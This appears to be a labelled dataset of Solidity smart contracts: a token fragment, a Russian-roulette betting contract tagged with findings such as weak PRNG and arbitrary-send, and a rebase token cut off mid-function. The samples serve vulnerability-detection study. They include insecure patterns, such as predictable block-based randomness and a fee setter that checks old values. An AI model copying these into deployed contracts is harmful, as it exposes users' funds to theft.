uint constant _consensusMintStep=6400*365;
//6400
uint constant _consensusMintInterval=6400;
//
uint public lastConsensusMintBlock;
//owner claim
uint public maxBatchMint=126000000*10 ** decimals();
uint public batchMinted=0;
struct Consensus{
address to;
uint256 amount;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {
__ERC20_init("EVER META", "EVEM");
__ERC20Burnable_init();
__AccessControl_init();
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(MINTER_ROLE, msg.sender);
_grantRole(CONSENSUS_MINT_ROLE, msg.sender);
initBlock=block.number;
lastConsensusMintBlock=block.number;
}
function preMint(address to) public onlyRole(DEFAULT_ADMIN_ROLE){
require(!isPreMint,"Pre Mint has been executed");
_mint(to, 1000000000 * 10 ** decimals());
isPreMint=true;
}
/// consensus Mint,
function consensusMint(address to)public onlyRole(CONSENSUS_MINT_ROLE){
require(lastConsensusMintBlock+_consensusMintInterval<block.number,"consensus Mint too fast");
mint(to,getConsensus());
lastConsensusMintBlock= block.number;
uint step=(lastConsensusMintBlock-initBlock)/_consensusMintStep;
if(step>0){
currConsensusMint=currConsensusMint*4/5;
initBlock=block.number;
}
}
//
function getConsensus()public view returns(uint amount){
return (block.number-lastConsensusMintBlock)*currConsensusMint;
}
function mint(address to, uint256 amount) private {
require(totalSupply()+amount<=maxSupply,"Too many coins");
_mint(to, amount);
}
function batchMint(Consensus[] memory cs) public onlyRole(MINTER_ROLE){
//
require(batchMinted<=maxBatchMint,"minted too more");
for(uint i =0;i<cs.length;i++){
batchMinted=batchMinted+cs[i].amount;
if(batchMinted<=maxBatchMint){
_mint(cs[i].to,cs[i].amount);
}
}
}
//[{"to":"0x24258A650b65E3cCB8Da22826d3c4B3Abf3B19d2","amount":10000000000000000000}]
function batchTransfer(address from,Consensus[] memory cs) public{
for(uint i =0;i<cs.length;i++){
transferFrom(from,cs[i].to,cs[i].amount);
}
}
} | No vulnerabilities found |
pragma solidity ^0.4.8;
contract RuletkaIo {
/*** EVENTS ***/
/// @dev A russian Roulette has been executed between 6 players
/// in room roomId and unfortunately, victim got shot and didn't
/// make it out alive... RIP
event partyOver(uint256 roomId, address victim, address[] winners);
/// @dev A new player has enter a room
event newPlayer(uint256 roomId, address player);
/// @dev A room is full, we close the door. Game can start.
event fullRoom(uint256 roomId);
/// @dev A safety mechanism has been triggered to empty the room and refund entirely the players (Should never happen)
event roomRefunded(uint256 _roomId, address[] refundedPlayers);
/*** Founders addresses ***/
address CTO;
address CEO;
Room[] private allRooms;
function () public payable {} // Give the ability of receiving ether
function RuletkaIo() public {
CTO = msg.sender;
CEO = msg.sender;
}
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CTO-only functionality
modifier onlyCTO() {
require(msg.sender == CTO);
_;
}
/// @dev Assigns a new address to act as the CTO.
/// @param _newCTO The address of the new CTO
function setCTO(address _newCTO) public onlyCTO {
require(_newCTO != address(0));
CTO = _newCTO;
}
/// @dev Assigns a new address to act as the CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCTO {
require(_newCEO != address(0));
CEO = _newCEO;
}
/*** DATATYPES ***/
struct Room {
string name;
uint256 entryPrice; // The price to enter the room and play Russian Roulette
uint256 balance;
address[] players;
}
/// For creating Room
function createRoom(string _name, uint256 _entryPrice) public onlyCTO{
address[] memory players;
Room memory _room = Room({
name: _name,
players: players,
balance: 0,
entryPrice: _entryPrice
});
allRooms.push(_room);
}
function enter(uint256 _roomId) public payable {
Room storage room = allRooms[_roomId-1]; //if _roomId doesn't exist in array, exits.
require(room.players.length < 6);
require(msg.value >= room.entryPrice);
room.players.push(msg.sender);
room.balance += room.entryPrice;
emit newPlayer(_roomId, msg.sender);
if(room.players.length == 6){
executeRoom(_roomId);
}
}
function enterWithReferral(uint256 _roomId, address referrer) public payable {
Room storage room = allRooms[_roomId-1]; //if _roomId doesn't exist in array, exits.
require(room.players.length < 6);
require(msg.value >= room.entryPrice);
uint256 referrerCut = SafeMath.div(room.entryPrice, 100); // Referrer get one percent of the bet as reward
referrer.transfer(referrerCut);
room.players.push(msg.sender);
room.balance += room.entryPrice - referrerCut;
emit newPlayer(_roomId, msg.sender);
if(room.players.length == 6){
emit fullRoom(_roomId);
executeRoom(_roomId);
}
}
function executeRoom(uint256 _roomId) public {
Room storage room = allRooms[_roomId-1]; //if _roomId doesn't exist in array, exits.
//Check if the room is really full before shooting people...
require(room.players.length == 6);
uint256 halfFee = SafeMath.div(room.entryPrice, 20);
CTO.transfer(halfFee);
CEO.transfer(halfFee);
room.balance -= halfFee * 2;
uint256 deadSeat = random();
distributeFunds(_roomId, deadSeat);
delete room.players;
}
function distributeFunds(uint256 _roomId, uint256 _deadSeat) private returns(uint256) {
Room storage room = allRooms[_roomId-1]; //if _roomId doesn't exist in array, exits.
uint256 balanceToDistribute = SafeMath.div(room.balance,5);
address victim = room.players[_deadSeat];
address[] memory winners = new address[](5);
uint256 j = 0;
for (uint i = 0; i<6; i++) {
if(i != _deadSeat){
room.players[i].transfer(balanceToDistribute);
room.balance -= balanceToDistribute;
winners[j] = room.players[i];
j++;
}
}
emit partyOver(_roomId, victim, winners);
return address(this).balance;
}
/// @dev Empty the room and refund each player. Safety mechanism which shouldn't be used.
/// @param _roomId The Room id to empty and refund
function refundPlayersInRoom(uint256 _roomId) public onlyCTO{
Room storage room = allRooms[_roomId-1]; //if _roomId doesn't exist in array, exits.
uint256 nbrOfPlayers = room.players.length;
uint256 balanceToRefund = SafeMath.div(room.balance,nbrOfPlayers);
for (uint i = 0; i<nbrOfPlayers; i++) {
room.players[i].transfer(balanceToRefund);
room.balance -= balanceToRefund;
}
emit roomRefunded(_roomId, room.players);
delete room.players;
}
/// @dev A clean and efficient way to generate random and make sure that it
/// will remain the same accross the executing nodes of random value
/// Ethereum Blockchain. We base our computation on the block.timestamp
/// and difficulty which will remain the same accross the nodes to ensure
/// same result for the same execution.
function random() private view returns (uint256) {
return uint256(uint256(keccak256(block.timestamp, block.difficulty))%6);
}
function getRoom(uint256 _roomId) public view returns (
string name,
address[] players,
uint256 entryPrice,
uint256 balance
) {
Room storage room = allRooms[_roomId-1];
name = room.name;
players = room.players;
entryPrice = room.entryPrice;
balance = room.balance;
}
function payout(address _to) public onlyCTO {
_payout(_to);
}
/// For paying out balance on contract
function _payout(address _to) private {
if (_to == address(0)) {
CTO.transfer(SafeMath.div(address(this).balance, 2));
CEO.transfer(address(this).balance);
} else {
_to.transfer(address(this).balance);
}
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) arbitrary-send with High impact
3) uninitialized-local with Medium impact
4) weak-prng with High impact
5) controlled-array-length with High impact |
// SPDX-License-Identifier: WTFPL
pragma solidity ^0.8.0;
//
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
//
interface IRebaser {
function rebase() external;
function ownerRebase(uint256 percent) external;
function timeDelta() external view returns (uint256 _timeDelta);
}
//
interface IStaking {
function rewardsReceived(uint256) external;
}
//
interface IV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] memory path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] memory path)
external
view
returns (uint256[] memory amounts);
}
//
interface IV2Factory {
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
//
interface IV2Pair {
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
//
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
}
//
// import "hardhat/console.sol";
contract Mason is Ownable, IERC20 {
/////////////////// Dependencies ///////////////////
using SafeMath for uint256;
using SafeMathInt for int256;
////////////////////// Events //////////////////////
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
////////////////////// Storage /////////////////////
string public name = "Mason Token";
string public symbol = "MASON";
uint8 public constant decimals = 18;
IV2Router public router;
IRebaser public rebaser;
IStaking public staking;
address payable public marketing;
uint256 public stakingFee = 1;
uint256 public marketingFee = 5;
uint256 public constant FEE_DIVISOR = 100;
address public uniswapV2Pair;
mapping(address => bool) public excludedSender;
mapping(address => bool) public excludedRecipient;
uint256 private constant MAX_uint = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 3300000000000 * 10**18;
uint256 private constant TOTAL_GONS =
MAX_uint - (MAX_uint % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0); // (2^128) - 1
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping(address => mapping(address => uint256)) private _allowedFragments;
bool private inSwap = false;
bool public feedStakingRewards = false;
uint256 public walletCap = 33000000000 * 10**18;
///////////////////// Modifiers ////////////////////
modifier lockSwap() {
inSwap = true;
_;
inSwap = false;
}
modifier onlyRebaser() {
require(msg.sender == address(rebaser));
_;
}
modifier validRecipient(address to) {
require(to != address(0x0));
_;
}
/////////////////// Construction ///////////////////
constructor(IV2Router router_, address payable marketing_) {
router = router_;
marketing = marketing_;
uniswapV2Pair = IV2Factory(router.factory()).createPair(
address(this),
router.WETH()
);
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[msg.sender] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
excludedSender[owner()] = true;
excludedRecipient[owner()] = true;
excludedSender[address(this)] = true;
excludedRecipient[address(this)] = true;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
///////////////////// Rebase /////////////////////
/**
* @dev Notifies Fragments contract about a new rebase cycle.
* @param supplyDelta The number of new fragment tokens to add into circulation via expansion.
* @return The total number of fragments after the supply adjustment.
*/
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyRebaser
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0)
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
else _totalSupply = _totalSupply.add(uint256(supplyDelta));
if (_totalSupply > MAX_SUPPLY) _totalSupply = MAX_SUPPLY;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
IV2Pair(uniswapV2Pair).sync();
return _totalSupply;
}
///////////////////// Policy /////////////////////
function set_Excluded(
address _who,
bool _excludedRecipient,
bool _excludedSender
) external onlyOwner {
excludedSender[_who] = _excludedSender;
excludedRecipient[_who] = _excludedRecipient;
}
function excludeMultipleAddresses(address[] memory _addresses)
external
onlyOwner
{
uint256 length = _addresses.length;
for (uint256 i = 0; i < length; i++) {
excludedSender[_addresses[i]] = true;
excludedRecipient[_addresses[i]] = true;
}
}
function set_Rebaser(IRebaser _rebaser) external onlyOwner {
rebaser = _rebaser;
}
function set_Marketing(address payable _marketing) external onlyOwner {
marketing = _marketing;
}
function set_Staking(IStaking _staking) external onlyOwner {
staking = _staking;
feedStakingRewards = true;
}
function set_FeedStakingRewards(bool on) external onlyOwner {
feedStakingRewards = on;
}
function set_WalletCap(uint256 _walletCap) external onlyOwner {
walletCap = _walletCap;
}
function set_Fees(uint256 sFee, uint256 mFee) external onlyOwner {
// alternative - require( stakingFee.add( marketingFee ) <= 4, "!fee" );
require(stakingFee <= 5, "fee to high");
require(marketingFee <= 10, "fee to high");
stakingFee = sFee;
marketingFee = mFee;
}
///////////////////// ERC20 /////////////////////
/**
* @return The total number of fragments.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who) external view override returns (uint256) {
return _gonBalances[who].div(_gonsPerFragment);
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
external
view
override
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
external
override
validRecipient(to)
returns (bool)
{
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(
address from,
address to,
uint256 value
) external override validRecipient(to) returns (bool) {
// make sure caller has allowance
// require(_allowedFragments[from][msg.sender] >= value, "!allowance");
// subtract used allowance
_allowedFragments[from][msg.sender] = _allowedFragments[from][
msg.sender
].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
external
override
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][
spender
].add(addedValue);
emit Approval(
msg.sender,
spender,
_allowedFragments[msg.sender][spender]
);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue)
_allowedFragments[msg.sender][spender] = 0;
else
_allowedFragments[msg.sender][spender] = oldValue.sub(
subtractedValue
);
emit Approval(
msg.sender,
spender,
_allowedFragments[msg.sender][spender]
);
return true;
}
///////////////////// interal /////////////////////
/**
* @dev tranfer helper
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function _transfer(
address from,
address to,
uint256 value
) internal {
if (
from != owner() &&
to != owner() &&
to != uniswapV2Pair &&
to != address(staking) &&
to != marketing
) {
require(
_gonBalances[to].div(_gonsPerFragment) + value <= walletCap,
"Wallet cap exceed"
);
}
uint256 gonValue = value.mul(_gonsPerFragment);
// if from or to is excluded
if (excludedSender[from] || excludedRecipient[to]) {
// reduce senders balance
_gonBalances[from] = _gonBalances[from].sub(gonValue);
// increase recipients balance by value
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
} else {
if (!inSwap && to == uniswapV2Pair) {
uint256 wad = _gonBalances[address(this)].div(_gonsPerFragment);
if (wad > 0) {
swapGons(wad);
}
}
// reduce senders balance
_gonBalances[from] = _gonBalances[from].sub(gonValue);
// calculate fee numerator
uint256 numerator = FEE_DIVISOR.sub(marketingFee).sub(stakingFee);
// increase recipients balance by value - fees
_gonBalances[to] = _gonBalances[to].add(
gonValue.div(FEE_DIVISOR).mul(numerator)
);
// accumulate marketing fee
_gonBalances[address(this)] = _gonBalances[address(this)].add(
gonValue.div(FEE_DIVISOR).mul(marketingFee)
);
// send staking their fee
if (feedStakingRewards) {
_gonBalances[address(staking)] = _gonBalances[address(staking)]
.add(gonValue.div(FEE_DIVISOR).mul(stakingFee));
staking.rewardsReceived(
